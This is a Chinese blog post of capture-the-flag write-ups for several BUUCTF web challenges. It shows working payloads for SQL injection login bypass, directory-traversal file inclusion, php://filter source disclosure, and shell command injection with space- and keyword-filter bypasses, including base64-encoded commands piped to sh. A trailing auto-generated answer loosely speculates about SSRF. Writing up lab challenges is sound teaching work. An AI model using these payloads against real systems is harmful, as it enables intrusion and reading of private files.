【CTF练习】BUUCTF WEB

[极客大挑战 2019]EasySQL

本题考查:sql注入

【判断闭合方式】:

        输入1、1",网页会提示密码错误

        但输入1'.会提示sql语句错误:

【构造万能密码】:

        根据”闭合方式为单引号“,构造万能密码, 因此,该sql语句的闭合方式为单引号:

a' or true#


[极客大挑战 2019]Havefun

本题考查:代码审计(应该是的)

【查看页面源代码】:

        右键查看页面源代码,划到最底部,会发现一段注释:

<!--
        $cat=$_GET['cat'];  //接收参数cat
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';   //如果cat==dog,则可以输出flag
        }
        -->

【传参】:

        利用hackbar用get方式传参:


[HCTF 2018]WarmUp

本题考查:PHP、代码审计

第一步:查看页面源代码
第二步:访问相关页面
第三步:代码审计

【查看页面源代码】:

        发现绿色注释:source.php

【访问source.php】:

<?php
    highlight_file(__FILE__);
    //定义了一个emmm类
    class emmm
    {
        public static function checkFile(&$page)
        {
            //白名单$whitelist
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
                if (! isset($page) || !is_string($page)) {
                echo "you can't see it";  //若page未设置或不是字符串就输出提示并返回false
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;   //若白名单中有page值则返回true
            }

            //mb_substr:返回字符串的一部分
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
                //mb_strops:查找字符串在另一个字符串中首次出现的位置,并且如果 $page 本身不包含 ? 字符,那么 $page . '?' 会确保字符串的末尾有一个 ? 字符,因此 mb_strpos 总是能返回一个位置(即使它是字符串的末尾)。如果 $page 已经包含 ? 字符,那么 mb_strpos 会返回该字符首次出现的位置。
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);  //将$page进行url编码
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

       
    //不进入else分支,可以调用include函数读取传入文件。这里要满足if中的条件为真
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

        值得注意的是,无论是直接访问source.php还是利用?file=source.php查看,返回结果都是

同一段代码,且直接访问source.php下面还会显示那张图片,也就是说当前网页其实就是在

source.php页面,即我们始终是在在soure.php页面进行传参!!!

【代码审计】:

        根据代码提示,存在一个hint.php页面,访问这个页面,可以得到flag的提示:

        即flag在文件ffffllllaaaagggg当中,但是我们目前并不知道该文件在那个目录下(白名单中也没有这个文件

Payload:
http://57222b26-44ad-489f-874a-51b708f283c2.node5.buuoj.cn:81/source.php?file=hint.php?/../../../../ffffllllaaaagggg

这里有一篇博客解释了一下构造payload的原理:

当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放

在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录。
[HCTF 2018]WarmUp全网最详细解释_[hctf 2018]warmup的解-CSDN博客


[ACTF2020 新生赛]Include

本题考查:filter伪协议进行文件包含

关于文件包含伪协议可以参考下面这篇博客:
File Inclusion(文件包含漏洞)学习 / 伪协议_file协议漏洞-CSDN博客

【查看页面源代码】:

        并没有什么可利用的

【查看url】:

        点击tips跳转,url多了?file=flag.php,但该页面只输出了:

        目前的办法就是查看flag.php文件的源代码,看flag是否在源代码中被注释掉了,此处利用伪

协议:

payload:
http://5165ec02-c72d-4737-85c5-295e639ea759.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php

【base64解码】:


[ACTF2020 新生赛]Exec

本题考查:命令执行

【尝试执行ls命令】:

输入:127.0.0.1;ls

【设法找到与flag相关的文件】:

查看flag文件的内容:

!!!注意,上述截图中,输入框中的内容和回显内容不是同步的(即输入框的内容是与结果对应的语句,但结果出来后,输入框中本应该是没有内容的,主要是为了方便看加上去的)


[GXYCTF2019]Ping Ping Ping

本题考查:命令执行

【尝试一下用分号拼接ip和ls】:

?ip=127.0.0.1;ls

【尝试查看flag.php文件】:

?ip=127.0.0.1;cat flag.php    结果发现空格被过滤

【用{IFS}绕过空格被过滤】:

用{IFS}绕过空格,发现标点符号也被过滤了:

【用不含有标点符号的方法绕过空格】:

用$IFS$1绕过空格,提示flag也有被过滤掉,尝试打开index.php

【分析index.php的源代码】:

发现好多东西都被过滤了:

& / ? * < x{00}-\x{1f} ' " \ () [] {} 空格 "xxxfxxxlxxxaxxxgxxx" " " "bash"等

【根据源代码,分析出一下绕过方法】:

  • 方法一:将cat flag.php直接用base64编码绕过
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
//但是bash被过滤了
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
//|sh 就是执行前面的echo脚本
  • 方法二:空格用$IFS$1绕过,flag利用内联执行绕过:
//内联:将反引号内命令的输出作为输入执行
?ip=127.0.0.1;cat$IFS$9`ls`
  • 方法三:简单变量替换(利用源码):
//单个变量
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//多个变量
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

具体参考如下:
【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup-CSDN博客


[SUCTF 2019]EasySQL

本题考查:sql注入

这道题不是很明白,附上两篇博客:
BUUCTF:[SUCTF 2019]EasySQL-CSDN博客
[SUCTF 2019]EasySQL 1 Writeup(超级详细)_really easy sql-CSDN博客


[强网杯 2019]随便注

本题考查:sql注入

【判断闭合方式】:

 只有输入1’会报错,那么闭合方式为单引号:

【查看是否有过滤关键字】 :

直接输入select,发现以下关键字被过滤:

被过滤的关键字:
select、update、delete、drop、insert、where
//select被过滤,联合查询,报错注入,布尔盲注,时间盲注就都不可以使用了。
//只剩下了堆叠注入(将语句堆叠在一起进行查询)

【使用堆叠注入】:

参考下面这篇文章:      
BUUCTF [强网杯 2019]随便注 1(两种方法)-CSDN博客

  • 7
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
回答:根据引用和引用的内容,buuctf web应该是指buuctf比赛中的一个web题目。其中可能涉及到Tornado作为非阻塞式服务器的使用,以及render函数的使用。而根据引用的内容,buuctf web题目可能存在一些漏洞,比如SSRF(Server Side Request Forgery)漏洞,可以通过对内网web应用实施攻击获取webshell。因此,在buuctf web题目中,可能需要掌握SSRF漏洞的利用和对web应用的渲染函数(render函数)进行利用。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [【CTFbuuctf web 详解(持续更新)](https://blog.csdn.net/m0_52923241/article/details/119641325)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [【BUUCTF刷题】Web解题方法总结(一)](https://blog.csdn.net/qq_45834505/article/details/114276572)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [BUUCTFWeb真题学习整理(一)](https://blog.csdn.net/qq_41429081/article/details/98042205)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值